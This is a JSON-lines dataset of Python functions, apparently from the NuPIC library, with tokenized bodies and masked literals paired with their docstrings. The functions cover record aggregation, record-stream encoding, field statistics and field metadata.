{"signature": "def _getEndTime(self, t):", "body": "assert isinstance(t, datetime.datetime)<EOL>if self._aggTimeDelta:<EOL><INDENT>return t + self._aggTimeDelta<EOL><DEDENT>else:<EOL><INDENT>year = t.year + self._aggYears + (t.month - <NUM_LIT:1> + self._aggMonths) / <NUM_LIT:12><EOL>month = (t.month - <NUM_LIT:1> + self._aggMonths) % <NUM_LIT:12> + <NUM_LIT:1><EOL>return t.replace(year=year, month=month)<EOL><DEDENT>", "docstring": "Add the aggregation period to the input time t and return a datetime object\n\n        Years and months are handled as aspecial case due to leap years\n        and months with different number of dates. They can't be converted\n        to a strict timedelta because a period of 3 months will have different\n        durations actually. The solution is to just add the years and months\n        fields directly to the current time.\n\n        Other periods are converted to timedelta and just added to current time.", "id": "f17650:c0:m1"}
{"signature": "def _getFuncPtrAndParams(self, funcName):", "body": "params = None<EOL>if isinstance(funcName, str):<EOL><INDENT>if funcName == '<STR_LIT>':<EOL><INDENT>fp = _aggr_sum<EOL><DEDENT>elif funcName == '<STR_LIT>':<EOL><INDENT>fp = _aggr_first<EOL><DEDENT>elif funcName == '<STR_LIT>':<EOL><INDENT>fp = _aggr_last<EOL><DEDENT>elif funcName == '<STR_LIT>':<EOL><INDENT>fp = _aggr_mean<EOL><DEDENT>elif funcName == '<STR_LIT>':<EOL><INDENT>fp = max<EOL><DEDENT>elif funcName == '<STR_LIT>':<EOL><INDENT>fp = min<EOL><DEDENT>elif funcName == '<STR_LIT>':<EOL><INDENT>fp = _aggr_mode<EOL><DEDENT>elif funcName.startswith('<STR_LIT>'):<EOL><INDENT>fp = _aggr_weighted_mean<EOL>paramsName = funcName[<NUM_LIT:6>:]<EOL>params = [f[<NUM_LIT:0>] for f in self._inputFields].index(paramsName)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>fp = funcName<EOL><DEDENT>return (fp, params)<EOL>", "docstring": "Given the name of an aggregation function, returns the function pointer\n        and param.\n\n        Parameters:\n        ------------------------------------------------------------------------\n        funcName:  a string (name of function) or funcPtr\n        retval:   (funcPtr, param)", "id": "f17650:c0:m2"}
{"signature": "def _createAggregateRecord(self):", "body": "record = []<EOL>for i, (fieldIdx, aggFP, paramIdx) in enumerate(self._fields):<EOL><INDENT>if aggFP is None: <EOL><INDENT>continue<EOL><DEDENT>values = self._slice[i]<EOL>refIndex = None<EOL>if paramIdx is not None:<EOL><INDENT>record.append(aggFP(values, self._slice[paramIdx]))<EOL><DEDENT>else:<EOL><INDENT>record.append(aggFP(values))<EOL><DEDENT><DEDENT>return record<EOL>", "docstring": "Generate the aggregated output record\n\n        Parameters:\n        ------------------------------------------------------------------------\n        retval: outputRecord", "id": "f17650:c0:m3"}
{"signature": "def isNullAggregation(self):", "body": "return self._nullAggregation<EOL>", "docstring": "Return True if no aggregation will be performed, either because the\n        aggregationInfo was None or all aggregation params within it were 0.", "id": "f17650:c0:m4"}
{"signature": "def next(self, record, curInputBookmark):", "body": "<EOL>outRecord = None<EOL>retInputBookmark = None<EOL>if record is not None:<EOL><INDENT>self._inIdx += <NUM_LIT:1><EOL>if self._filter != None and not self._filter[<NUM_LIT:0>](self._filter[<NUM_LIT:1>], record):<EOL><INDENT>return (None, None)<EOL><DEDENT>if self._nullAggregation:<EOL><INDENT>return (record, curInputBookmark)<EOL><DEDENT>t = record[self._timeFieldIdx]<EOL>if self._firstSequenceStartTime == None:<EOL><INDENT>self._firstSequenceStartTime = t<EOL><DEDENT>if self._startTime is None:<EOL><INDENT>self._startTime = t<EOL><DEDENT>if self._endTime is None:<EOL><INDENT>self._endTime = self._getEndTime(t)<EOL>assert self._endTime > t<EOL><DEDENT>if self._resetFieldIdx is not None:<EOL><INDENT>resetSignal = record[self._resetFieldIdx]<EOL><DEDENT>else:<EOL><INDENT>resetSignal = None<EOL><DEDENT>if self._sequenceIdFieldIdx is not None:<EOL><INDENT>currSequenceId = record[self._sequenceIdFieldIdx]<EOL><DEDENT>else:<EOL><INDENT>currSequenceId = None<EOL><DEDENT>newSequence = (resetSignal == <NUM_LIT:1> and self._inIdx > <NUM_LIT:0>)or self._sequenceId != currSequenceIdor self._inIdx == <NUM_LIT:0><EOL>if newSequence:<EOL><INDENT>self._sequenceId = currSequenceId<EOL><DEDENT>sliceEnded = (t >= self._endTime or t < self._startTime)<EOL>if (newSequence or sliceEnded) and len(self._slice) > <NUM_LIT:0>:<EOL><INDENT>for j, f in enumerate(self._fields):<EOL><INDENT>index = f[<NUM_LIT:0>]<EOL>if index == self._timeFieldIdx:<EOL><INDENT>self._slice[j][<NUM_LIT:0>] = self._startTime<EOL>break<EOL><DEDENT><DEDENT>outRecord = self._createAggregateRecord()<EOL>retInputBookmark = self._aggrInputBookmark<EOL>self._slice = defaultdict(list)<EOL><DEDENT>for j, f in enumerate(self._fields):<EOL><INDENT>index = f[<NUM_LIT:0>]<EOL>self._slice[j].append(record[index])<EOL>self._aggrInputBookmark = curInputBookmark<EOL><DEDENT>if newSequence:<EOL><INDENT>self._startTime = t<EOL>self._endTime = self._getEndTime(t)<EOL><DEDENT>if sliceEnded:<EOL><INDENT>if t < self._startTime:<EOL><INDENT>self._endTime = self._firstSequenceStartTime<EOL><DEDENT>while t >= self._endTime:<EOL><INDENT>self._startTime = self._endTime<EOL>self._endTime = self._getEndTime(self._endTime)<EOL><DEDENT><DEDENT>if outRecord is not None:<EOL><INDENT>return (outRecord, retInputBookmark)<EOL><DEDENT><DEDENT>elif self._slice:<EOL><INDENT>for j, f in enumerate(self._fields):<EOL><INDENT>index = f[<NUM_LIT:0>]<EOL>if index == self._timeFieldIdx:<EOL><INDENT>self._slice[j][<NUM_LIT:0>] = self._startTime<EOL>break<EOL><DEDENT><DEDENT>outRecord = self._createAggregateRecord()<EOL>retInputBookmark = self._aggrInputBookmark<EOL>self._slice = defaultdict(list)<EOL><DEDENT>return (outRecord, retInputBookmark)<EOL>", "docstring": "Return the next aggregated record, if any\n\n        Parameters:\n        ------------------------------------------------------------------------\n        record:         The input record (values only) from the input source, or\n                        None if the input has reached EOF (this will cause this\n                        method to force completion of and return any partially\n                        aggregated time period)\n        curInputBookmark: The bookmark to the next input record\n        retval:\n          (outputRecord, inputBookmark)\n\n          outputRecord: the aggregated record\n          inputBookmark: a bookmark to the last position from the input that\n                          contributed to this aggregated record.\n\n          If we don't have any aggregated records yet, returns (None, None)\n\n\n        The caller should generally do a loop like this:\n          while True:\n            inRecord = reader.getNextRecord()\n            bookmark = reader.getBookmark()\n\n            (aggRecord, aggBookmark) = aggregator.next(inRecord, bookmark)\n\n            # reached EOF?\n            if inRecord is None and aggRecord is None:\n              break\n\n            if aggRecord is not None:\n              proessRecord(aggRecord, aggBookmark)\n\n\n        This method makes use of the self._slice member variable to build up\n        the values we need to aggregate. This is a dict of lists. The keys are\n        the field indices and the elements of each list are the values for that\n        field. For example:\n\n          self._siice = { 0: [42, 53], 1: [4.0, 5.1] }", "id": "f17650:c0:m5"}
{"signature": "def _getFieldIndexBySpecial(fields, special):", "body": "for i, field in enumerate(fields):<EOL><INDENT>if field.special == special:<EOL><INDENT>return i<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Return index of the field matching the field meta special value.\n    :param fields: sequence of nupic.data.fieldmeta.FieldMetaInfo objects\n      representing the fields of a stream\n    :param special: one of the special field attribute values from\n      nupic.data.fieldmeta.FieldMetaSpecial\n    :returns: first zero-based index of the field tagged with the target field\n      meta special attribute; None if no such field", "id": "f17651:m0"}
{"signature": "def __init__(self, fields, aggregationPeriod=None):", "body": "if not fields:<EOL><INDENT>raise ValueError('<STR_LIT>' % (fields,))<EOL><DEDENT>self._fields = fields<EOL>self._aggregationPeriod = aggregationPeriod<EOL>self._sequenceId = -<NUM_LIT:1><EOL>self._fieldNames = tuple(f.name for f in fields)<EOL>self._categoryFieldIndex = _getFieldIndexBySpecial(<EOL>fields,<EOL>FieldMetaSpecial.category)<EOL>self._resetFieldIndex = _getFieldIndexBySpecial(<EOL>fields,<EOL>FieldMetaSpecial.reset)<EOL>self._sequenceFieldIndex = _getFieldIndexBySpecial(<EOL>fields,<EOL>FieldMetaSpecial.sequence)<EOL>self._timestampFieldIndex = _getFieldIndexBySpecial(<EOL>fields,<EOL>FieldMetaSpecial.timestamp)<EOL>self._learningFieldIndex = _getFieldIndexBySpecial(<EOL>fields,<EOL>FieldMetaSpecial.learning)<EOL>", "docstring": ":param fields: non-empty sequence of nupic.data.fieldmeta.FieldMetaInfo\n  objects corresponding to fields in input rows.\n:param aggregationPeriod: (dict) aggregation period of the record stream \n  containing 'months' and 'seconds'. The months is always an integer\n  and seconds is a floating point. Only one is allowed to be non-zero at a\n  time. If there is no aggregation associated with the stream, pass None.\n  Typically, a raw file or hbase stream will NOT have any aggregation info,\n  but subclasses of RecordStreamIface, like StreamReader, will and will\n  provide the aggregation period. This is used by the encode method to\n  assign a record number to a record given its timestamp and the aggregation\n  interval.", "id": "f17651:c0:m0"}
{"signature": "def rewind(self):", "body": "self._sequenceId = -<NUM_LIT:1><EOL>", "docstring": "Put us back at the beginning of the file again", "id": "f17651:c0:m1"}
{"signature": "def encode(self, inputRow):", "body": "<EOL>result = dict(zip(self._fieldNames, inputRow))<EOL>if self._categoryFieldIndex is not None:<EOL><INDENT>if isinstance(inputRow[self._categoryFieldIndex], int):<EOL><INDENT>result['<STR_LIT>'] = [inputRow[self._categoryFieldIndex]]<EOL><DEDENT>else:<EOL><INDENT>result['<STR_LIT>'] = (inputRow[self._categoryFieldIndex]<EOL>if inputRow[self._categoryFieldIndex]<EOL>else [None])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>result['<STR_LIT>'] = [None]<EOL><DEDENT>if self._resetFieldIndex is not None:<EOL><INDENT>result['<STR_LIT>'] = int(bool(inputRow[self._resetFieldIndex]))<EOL><DEDENT>else:<EOL><INDENT>result['<STR_LIT>'] = <NUM_LIT:0><EOL><DEDENT>if self._learningFieldIndex is not None:<EOL><INDENT>result['<STR_LIT>'] = int(bool(inputRow[self._learningFieldIndex]))<EOL><DEDENT>result['<STR_LIT>'] = None<EOL>if self._timestampFieldIndex is not None:<EOL><INDENT>result['<STR_LIT>'] = inputRow[self._timestampFieldIndex]<EOL>result['<STR_LIT>'] = self._computeTimestampRecordIdx(<EOL>inputRow[self._timestampFieldIndex])<EOL><DEDENT>else:<EOL><INDENT>result['<STR_LIT>'] = None<EOL><DEDENT>hasReset = self._resetFieldIndex is not None<EOL>hasSequenceId = self._sequenceFieldIndex is not None<EOL>if hasReset and not hasSequenceId:<EOL><INDENT>if result['<STR_LIT>']:<EOL><INDENT>self._sequenceId += <NUM_LIT:1><EOL><DEDENT>sequenceId = self._sequenceId<EOL><DEDENT>elif not hasReset and hasSequenceId:<EOL><INDENT>sequenceId = inputRow[self._sequenceFieldIndex]<EOL>result['<STR_LIT>'] = int(sequenceId != self._sequenceId)<EOL>self._sequenceId = sequenceId<EOL><DEDENT>elif hasReset and hasSequenceId:<EOL><INDENT>sequenceId = inputRow[self._sequenceFieldIndex]<EOL><DEDENT>else:<EOL><INDENT>sequenceId = <NUM_LIT:0><EOL><DEDENT>if sequenceId is not None:<EOL><INDENT>result['<STR_LIT>'] = hash(sequenceId)<EOL><DEDENT>else:<EOL><INDENT>result['<STR_LIT>'] = None<EOL><DEDENT>return result<EOL>", "docstring": "Encodes the given input row as a dict, with the\n        keys being the field names. This also adds in some meta fields:\n          '_category': The value from the category field (if any)\n          '_reset': True if the reset field was True (if any)\n          '_sequenceId': the value from the sequenceId field (if any)\n\n        :param inputRow: sequence of values corresponding to a single input metric\n          data row\n        :rtype: dict", "id": "f17651:c0:m2"}
{"signature": "def _computeTimestampRecordIdx(self, recordTS):", "body": "if self._aggregationPeriod is None:<EOL><INDENT>return None<EOL><DEDENT>if self._aggregationPeriod['<STR_LIT>'] > <NUM_LIT:0>:<EOL><INDENT>assert self._aggregationPeriod['<STR_LIT>'] == <NUM_LIT:0><EOL>result = int(<EOL>(recordTS.year * <NUM_LIT:12> + (recordTS.month-<NUM_LIT:1>)) /<EOL>self._aggregationPeriod['<STR_LIT>'])<EOL><DEDENT>elif self._aggregationPeriod['<STR_LIT>'] > <NUM_LIT:0>:<EOL><INDENT>delta = recordTS - datetime.datetime(year=<NUM_LIT:1>, month=<NUM_LIT:1>, day=<NUM_LIT:1>)<EOL>deltaSecs = delta.days * <NUM_LIT> * <NUM_LIT> * <NUM_LIT>+ delta.seconds+ delta.microseconds / <NUM_LIT><EOL>result = int(deltaSecs / self._aggregationPeriod['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>result = None<EOL><DEDENT>return result<EOL>", "docstring": "Give the timestamp of a record (a datetime object), compute the record's\n        timestamp index - this is the timestamp divided by the aggregation period.\n\n\n        Parameters:\n        ------------------------------------------------------------------------\n        recordTS:  datetime instance\n        retval:    record timestamp index, or None if no aggregation period", "id": "f17651:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def close(self):<DEDENT>", "body": "", "docstring": "Close the stream", "id": "f17651:c1:m1"}
{"signature": "def rewind(self):", "body": "if self._modelRecordEncoder is not None:<EOL><INDENT>self._modelRecordEncoder.rewind()<EOL><DEDENT>", "docstring": "Put us back at the beginning of the file again.", "id": "f17651:c1:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def getNextRecord(self, useCache=True):<DEDENT>", "body": "", "docstring": "Returns next available data record from the storage. If ``useCache`` is\n``False``, then don't read ahead and don't cache any records.\n\n:return: a data row (a list or tuple) if available; None, if no more records\n         in the table (End of Stream - EOS); empty sequence (list or tuple)\n         when timing out while waiting for the next record.", "id": "f17651:c1:m3"}
{"signature": "def getNextRecordDict(self):", "body": "values = self.getNextRecord()<EOL>if values is None:<EOL><INDENT>return None<EOL><DEDENT>if not values:<EOL><INDENT>return dict()<EOL><DEDENT>if self._modelRecordEncoder is None:<EOL><INDENT>self._modelRecordEncoder = ModelRecordEncoder(<EOL>fields=self.getFields(),<EOL>aggregationPeriod=self.getAggregationMonthsAndSeconds())<EOL><DEDENT>return self._modelRecordEncoder.encode(values)<EOL>", "docstring": "Returns next available data record from the storage as a dict, with the\n        keys being the field names. This also adds in some meta fields:\n\n          - ``_category``: The value from the category field (if any)\n          - ``_reset``: True if the reset field was True (if any)\n          - ``_sequenceId``: the value from the sequenceId field (if any)", "id": "f17651:c1:m4"}
{"signature": "def getAggregationMonthsAndSeconds(self):", "body": "return None<EOL>", "docstring": "Returns the aggregation period of the record stream as a dict\ncontaining 'months' and 'seconds'. The months is always an integer and\nseconds is a floating point. Only one is allowed to be non-zero.\n\nIf there is no aggregation associated with the stream, returns None.\n\nTypically, a raw file or hbase stream will NOT have any aggregation info,\nbut subclasses of :class:`~nupic.data.record_stream.RecordStreamIface`, like\n:class:`~nupic.data.stream_reader.StreamReader`, will and will return the\naggregation period from this call. This call is used by\n:meth:`getNextRecordDict` to assign a record number to a record given its\ntimestamp and the aggregation interval.\n\n:returns: ``None``", "id": "f17651:c1:m5"}
{"signature": "@abstractmethod<EOL><INDENT>def getNextRecordIdx(self):<DEDENT>", "body": "", "docstring": ":returns: (int) index of the record that will be read next from\n          :meth:`getNextRecord`", "id": "f17651:c1:m6"}
{"signature": "@abstractmethod<EOL><INDENT>def appendRecord(self, record):<DEDENT>", "body": "", "docstring": "Saves the record in the underlying storage. Should be implemented in\nsubclasses.\n\n:param record: (object) to store", "id": "f17651:c1:m7"}
{"signature": "@abstractmethod<EOL><INDENT>def appendRecords(self, records, progressCB=None):<DEDENT>", "body": "", "docstring": "Saves multiple records in the underlying storage. Should be implemented in\nsubclasses.\n\n:param records: (list) of objects to store\n:param progressCB: (func) called after each appension", "id": "f17651:c1:m8"}
{"signature": "@abstractmethod<EOL><INDENT>def getBookmark(self):<DEDENT>", "body": "", "docstring": "Returns an anchor to the current position in the data. Passing this\n        anchor to the constructor makes the current position to be the first\n        returned record. If record is no longer in the storage, the first available\n        after it will be returned.\n\n        :returns: anchor to current position in the data.", "id": "f17651:c1:m9"}
{"signature": "@abstractmethod<EOL><INDENT>def recordsExistAfter(self, bookmark):<DEDENT>", "body": "", "docstring": ":param bookmark: (int) where to start\n:returns: True if there are records left after the  bookmark.", "id": "f17651:c1:m10"}
{"signature": "@abstractmethod<EOL><INDENT>def seekFromEnd(self, numRecords):<DEDENT>", "body": "", "docstring": ":param numRecords: (int) number of records from the end.\n:returns: (int) a bookmark numRecords from the end of the stream.", "id": "f17651:c1:m11"}
{"signature": "@abstractmethod<EOL><INDENT>def getStats(self):<DEDENT>", "body": "", "docstring": ":returns: storage stats (like min and max values of the fields).", "id": "f17651:c1:m12"}
{"signature": "def getFieldMin(self, fieldName):", "body": "stats = self.getStats()<EOL>if stats == None:<EOL><INDENT>return None<EOL><DEDENT>minValues = stats.get('<STR_LIT>', None)<EOL>if minValues == None:<EOL><INDENT>return None<EOL><DEDENT>index = self.getFieldNames().index(fieldName)<EOL>return minValues[index]<EOL>", "docstring": "If underlying implementation does not support min/max stats collection,\nor if a field type does not support min/max (non scalars), the return\nvalue will be None.\n\n:param fieldName: (string) name of field to get min\n:returns: current minimum value for the field ``fieldName``.", "id": "f17651:c1:m13"}
{"signature": "def getFieldMax(self, fieldName):", "body": "stats = self.getStats()<EOL>if stats == None:<EOL><INDENT>return None<EOL><DEDENT>maxValues = stats.get('<STR_LIT>', None)<EOL>if maxValues == None:<EOL><INDENT>return None<EOL><DEDENT>index = self.getFieldNames().index(fieldName)<EOL>return maxValues[index]<EOL>", "docstring": "If underlying implementation does not support min/max stats collection,\nor if a field type does not support min/max (non scalars), the return\nvalue will be None.\n\n:param fieldName: (string) name of field to get max\n:returns: current maximum value for the field ``fieldName``.", "id": "f17651:c1:m14"}
{"signature": "@abstractmethod<EOL><INDENT>def clearStats(self):<DEDENT>", "body": "", "docstring": "Resets stats collected so far.", "id": "f17651:c1:m15"}
{"signature": "@abstractmethod<EOL><INDENT>def getError(self):<DEDENT>", "body": "", "docstring": ":returns: errors saved in the storage.", "id": "f17651:c1:m16"}
{"signature": "@abstractmethod<EOL><INDENT>def setError(self, error):<DEDENT>", "body": "", "docstring": "Saves specified error in the storage.\n\n:param error: Error to store.", "id": "f17651:c1:m17"}
{"signature": "@abstractmethod<EOL><INDENT>def isCompleted(self):<DEDENT>", "body": "", "docstring": ":returns: True if all records are already in the storage or False\n          if more records is expected.", "id": "f17651:c1:m18"}
{"signature": "@abstractmethod<EOL><INDENT>def setCompleted(self, completed):<DEDENT>", "body": "", "docstring": "Marks the stream completed.\n\n:param completed: (bool) is completed?", "id": "f17651:c1:m19"}
{"signature": "@abstractmethod<EOL><INDENT>def getFieldNames(self):<DEDENT>", "body": "", "docstring": ":returns: (list) of field names associated with the data.", "id": "f17651:c1:m20"}
{"signature": "@abstractmethod<EOL><INDENT>def getFields(self):<DEDENT>", "body": "", "docstring": ":returns: (list) of :class:`nupic.data.fieldmeta.FieldMetaInfo` objects for\n    each field in the stream. Might be None, if that information is provided\n    externally (through the `Stream Definition <stream-def.html>`_, \n    for example).", "id": "f17651:c1:m21"}
{"signature": "def getResetFieldIdx(self):", "body": "return _getFieldIndexBySpecial(self.getFields(), FieldMetaSpecial.reset)<EOL>", "docstring": ":returns: (int) index of the ``reset`` field; ``None`` if no such field.", "id": "f17651:c1:m22"}
{"signature": "def getTimestampFieldIdx(self):", "body": "return _getFieldIndexBySpecial(self.getFields(), FieldMetaSpecial.timestamp)<EOL>", "docstring": ":returns: (int) index of the ``timestamp`` field.", "id": "f17651:c1:m23"}
{"signature": "def getSequenceIdFieldIdx(self):", "body": "return _getFieldIndexBySpecial(self.getFields(), FieldMetaSpecial.sequence)<EOL>", "docstring": ":returns: (int) index of the ``sequenceId`` field.", "id": "f17651:c1:m24"}
{"signature": "def getCategoryFieldIdx(self):", "body": "return _getFieldIndexBySpecial(self.getFields(), FieldMetaSpecial.category)<EOL>", "docstring": ":returns: (int) index of ``category`` field", "id": "f17651:c1:m25"}
{"signature": "def getLearningFieldIdx(self):", "body": "return _getFieldIndexBySpecial(self.getFields(), FieldMetaSpecial.learning)<EOL>", "docstring": ":returns: (int) index of the ``learning`` field.", "id": "f17651:c1:m26"}
{"signature": "@abstractmethod<EOL><INDENT>def setTimeout(self, timeout):<DEDENT>", "body": "", "docstring": "Set the read timeout in seconds\n\n:param timeout: (int or floating point)", "id": "f17651:c1:m27"}
{"signature": "@abstractmethod<EOL><INDENT>def flush(self):<DEDENT>", "body": "", "docstring": "Flush the file to disk", "id": "f17651:c1:m28"}
{"signature": "def generateStats(filename, statsInfo, maxSamples = None, filters=[], cache=True):", "body": "<EOL>if not isinstance(statsInfo, dict):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % type(statsInfo))<EOL><DEDENT>filename = resource_filename(\"<STR_LIT>\", filename)<EOL>if cache:<EOL><INDENT>statsFilename = getStatsFilename(filename, statsInfo, filters)<EOL>if os.path.exists(statsFilename):<EOL><INDENT>try:<EOL><INDENT>r = pickle.load(open(statsFilename, \"<STR_LIT:rb>\"))<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\"\"<STR_LIT>\" % filename)<EOL>r = dict()<EOL><DEDENT>requestedKeys = set([s for s in statsInfo])<EOL>availableKeys = set(r.keys())<EOL>unavailableKeys = requestedKeys.difference(availableKeys)<EOL>if len(unavailableKeys ) == <NUM_LIT:0>:<EOL><INDENT>return r<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\"\"<STR_LIT>\" %(filename, str(unavailableKeys)))<EOL>os.remove(filename)<EOL><DEDENT><DEDENT><DEDENT>print(\"<STR_LIT>\" % (filename, filters))<EOL>sensor = RecordSensor()<EOL>sensor.dataSource = FileRecordStream(filename)<EOL>sensor.preEncodingFilters = filters<EOL>stats = []<EOL>for field in statsInfo:<EOL><INDENT>if statsInfo[field] == \"<STR_LIT>\":<EOL><INDENT>statsInfo[field] = NumberStatsCollector()<EOL><DEDENT>elif statsInfo[field] == \"<STR_LIT>\":<EOL><INDENT>statsInfo[field] = CategoryStatsCollector()<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % (statsInfo[field], field))<EOL><DEDENT><DEDENT>if maxSamples is None:<EOL><INDENT>maxSamples = <NUM_LIT><EOL><DEDENT>for i in range(maxSamples):<EOL><INDENT>try:<EOL><INDENT>record = sensor.getNextRecord()<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>for (name, collector) in list(statsInfo.items()):<EOL><INDENT>collector.add(record[name])<EOL><DEDENT><DEDENT>del sensor<EOL>r = dict()<EOL>for (field, collector) in list(statsInfo.items()):<EOL><INDENT>stats = collector.getStats()<EOL>if field not in r:<EOL><INDENT>r[field] = stats<EOL><DEDENT>else:<EOL><INDENT>r[field].update(stats)<EOL><DEDENT><DEDENT>if cache:<EOL><INDENT>f = open(statsFilename, \"<STR_LIT:wb>\")<EOL>pickle.dump(r, f)<EOL>f.close()<EOL>r[\"<STR_LIT>\"] = statsFilename<EOL><DEDENT>return r<EOL>", "docstring": "Generate requested statistics for a dataset and cache to a file.\n    If filename is None, then don't cache to a file", "id": "f17652:m1"}
{"signature": "def generateStats(filename, maxSamples = None,):", "body": "<EOL>statsCollectorMapping = {'<STR_LIT:float>':    FloatStatsCollector,<EOL>'<STR_LIT:int>':      IntStatsCollector,<EOL>'<STR_LIT:string>':   StringStatsCollector,<EOL>'<STR_LIT>': DateTimeStatsCollector,<EOL>'<STR_LIT:bool>':     BoolStatsCollector,<EOL>}<EOL>filename = resource_filename(\"<STR_LIT>\", filename)<EOL>print(\"<STR_LIT:*>\"*<NUM_LIT>)<EOL>print(\"<STR_LIT>\" % (filename,))<EOL>dataFile = FileRecordStream(filename)<EOL>statsCollectors = []<EOL>for fieldName, fieldType, fieldSpecial in dataFile.getFields():<EOL><INDENT>statsCollector =statsCollectorMapping[fieldType](fieldName, fieldType, fieldSpecial)<EOL>statsCollectors.append(statsCollector)<EOL><DEDENT>if maxSamples is None:<EOL><INDENT>maxSamples = <NUM_LIT><EOL><DEDENT>for i in range(maxSamples):<EOL><INDENT>record = dataFile.getNextRecord()<EOL>if record is None:<EOL><INDENT>break<EOL><DEDENT>for i, value in enumerate(record):<EOL><INDENT>statsCollectors[i].addValue(value)<EOL><DEDENT><DEDENT>stats = {}<EOL>for statsCollector in statsCollectors:<EOL><INDENT>statsCollector.getStats(stats)<EOL><DEDENT>if dataFile.getResetFieldIdx() is not None:<EOL><INDENT>resetFieldName,_,_ = dataFile.getFields()[dataFile.reset]<EOL>stats.pop(resetFieldName)<EOL><DEDENT>if VERBOSITY > <NUM_LIT:0>:<EOL><INDENT>pprint.pprint(stats)<EOL><DEDENT>return stats<EOL>", "docstring": "Collect statistics for each of the fields in the user input data file and\nreturn a stats dict object.\n\nParameters:\n------------------------------------------------------------------------------\nfilename:             The path and name of the data file.\nmaxSamples:           Upper bound on the number of rows to be processed\nretval:               A dictionary of dictionaries. The top level keys are the\n                      field names and the corresponding values are the statistics\n                      collected for the individual file.\n                      Example:\n                      {\n                        'consumption':{'min':0,'max':90,'mean':50,...},\n                        'gym':{'numDistinctCategories':10,...},\n                        ...\n                       }", "id": "f17653:m0"}
{"signature": "def getStats(self, stats):", "body": "BaseStatsCollector.getStats(self, stats)<EOL>sortedNumberList = sorted(self.valueList)<EOL>listLength = len(sortedNumberList)<EOL>min = sortedNumberList[<NUM_LIT:0>]<EOL>max = sortedNumberList[-<NUM_LIT:1>]<EOL>mean = numpy.mean(self.valueList)<EOL>median = sortedNumberList[int(<NUM_LIT:0.5>*listLength)]<EOL>percentile1st = sortedNumberList[int(<NUM_LIT>*listLength)]<EOL>percentile99th = sortedNumberList[int(<NUM_LIT>*listLength)]<EOL>differenceList =[(cur - prev) for prev, cur in zip(list(self.valueSet)[:-<NUM_LIT:1>],<EOL>list(self.valueSet)[<NUM_LIT:1>:])]<EOL>if min > max:<EOL><INDENT>print(self.fieldname, min, max, '<STR_LIT>')<EOL><DEDENT>meanResolution = numpy.mean(differenceList)<EOL>stats[self.fieldname]['<STR_LIT>'] = min<EOL>stats[self.fieldname]['<STR_LIT>'] = max<EOL>stats[self.fieldname]['<STR_LIT>'] = mean<EOL>stats[self.fieldname]['<STR_LIT>'] = median<EOL>stats[self.fieldname]['<STR_LIT>'] = percentile1st<EOL>stats[self.fieldname]['<STR_LIT>'] = percentile99th<EOL>stats[self.fieldname]['<STR_LIT>'] = meanResolution<EOL>passData = True<EOL>if passData:<EOL><INDENT>stats[self.fieldname]['<STR_LIT:data>'] = self.valueList<EOL><DEDENT>if VERBOSITY > <NUM_LIT:2>:<EOL><INDENT>print('<STR_LIT>')<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\", min)<EOL>print(\"<STR_LIT>\", max)<EOL>print(\"<STR_LIT>\", mean)<EOL>print(\"<STR_LIT>\", median)<EOL>print(\"<STR_LIT>\", percentile1st)<EOL>print(\"<STR_LIT>\", percentile99th)<EOL>print('<STR_LIT>')<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\", meanResolution)<EOL><DEDENT>if VERBOSITY > <NUM_LIT:3>:<EOL><INDENT>print('<STR_LIT>')<EOL>print(\"<STR_LIT>\")<EOL>counts, bins = numpy.histogram(self.valueList, new=True)<EOL>print(\"<STR_LIT>\", counts.tolist())<EOL>print(\"<STR_LIT>\", bins.tolist())<EOL><DEDENT>", "docstring": "Override of getStats()  in BaseStatsCollector\n\n            stats: A dictionary where all the stats are\n            outputted", "id": "f17653:c2:m0"}
{"signature": "def __init__(self, filterDict):", "body": "self.filterDict = filterDict<EOL>", "docstring": "TODO describe filterDict schema", "id": "f17655:c0:m0"}
{"signature": "def match(self, record):", "body": "for field, meta in self.filterDict.iteritems():<EOL><INDENT>index = meta['<STR_LIT:index>']<EOL>categories = meta['<STR_LIT>']<EOL>for category in categories:<EOL><INDENT>if not record:<EOL><INDENT>continue<EOL><DEDENT>if record[index].find(category) != -<NUM_LIT:1>:<EOL><INDENT>'''<STR_LIT>'''<EOL>return True<EOL><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Returns True if the record matches any of the provided filters", "id": "f17655:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def createFromFileFieldElement(fieldInfoTuple):<DEDENT>", "body": "return FieldMetaInfo._make(fieldInfoTuple)<EOL>", "docstring": "Creates a :class:`.field_meta.FieldMetaInfo` instance from a tuple containing\n``name``, ``type``, and ``special``.\n\n:param fieldInfoTuple: Must contain ``name``, ``type``, and ``special``\n:return: (:class:`~.field_meta.FieldMetaInfo`) instance", "id": "f17656:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def createListFromFileFieldList(cls, fields):<DEDENT>", "body": "return [cls.createFromFileFieldElement(f) for f in fields]<EOL>", "docstring": "Creates a FieldMetaInfo list from the a list of tuples. Basically runs\n:meth:`~.field_meta.FieldMetaInfo.createFromFileFieldElement` on each tuple.\n\n*Example:*\n\n.. code-block:: python\n\n    # Create a list of FieldMetaInfo instances from a list of File meta-data\n    # tuples\n    el = [(\"pounds\", FieldMetaType.float, FieldMetaSpecial.none),\n          (\"price\", FieldMetaType.float, FieldMetaSpecial.none),\n          (\"id\", FieldMetaType.string, FieldMetaSpecial.sequence),\n          (\"date\", FieldMetaType.datetime, FieldMetaSpecial.timestamp),\n         ]\n    ml = FieldMetaInfo.createListFromFileFieldList(el)\n\n:param fields: a sequence of field attribute tuples conforming to the format\n               of ``name``, ``type``, and ``special``\n\n:return: A list of :class:`~.field_meta.FieldMetaInfo` elements corresponding\n         to the given 'fields' list.", "id": "f17656:c0:m2"}
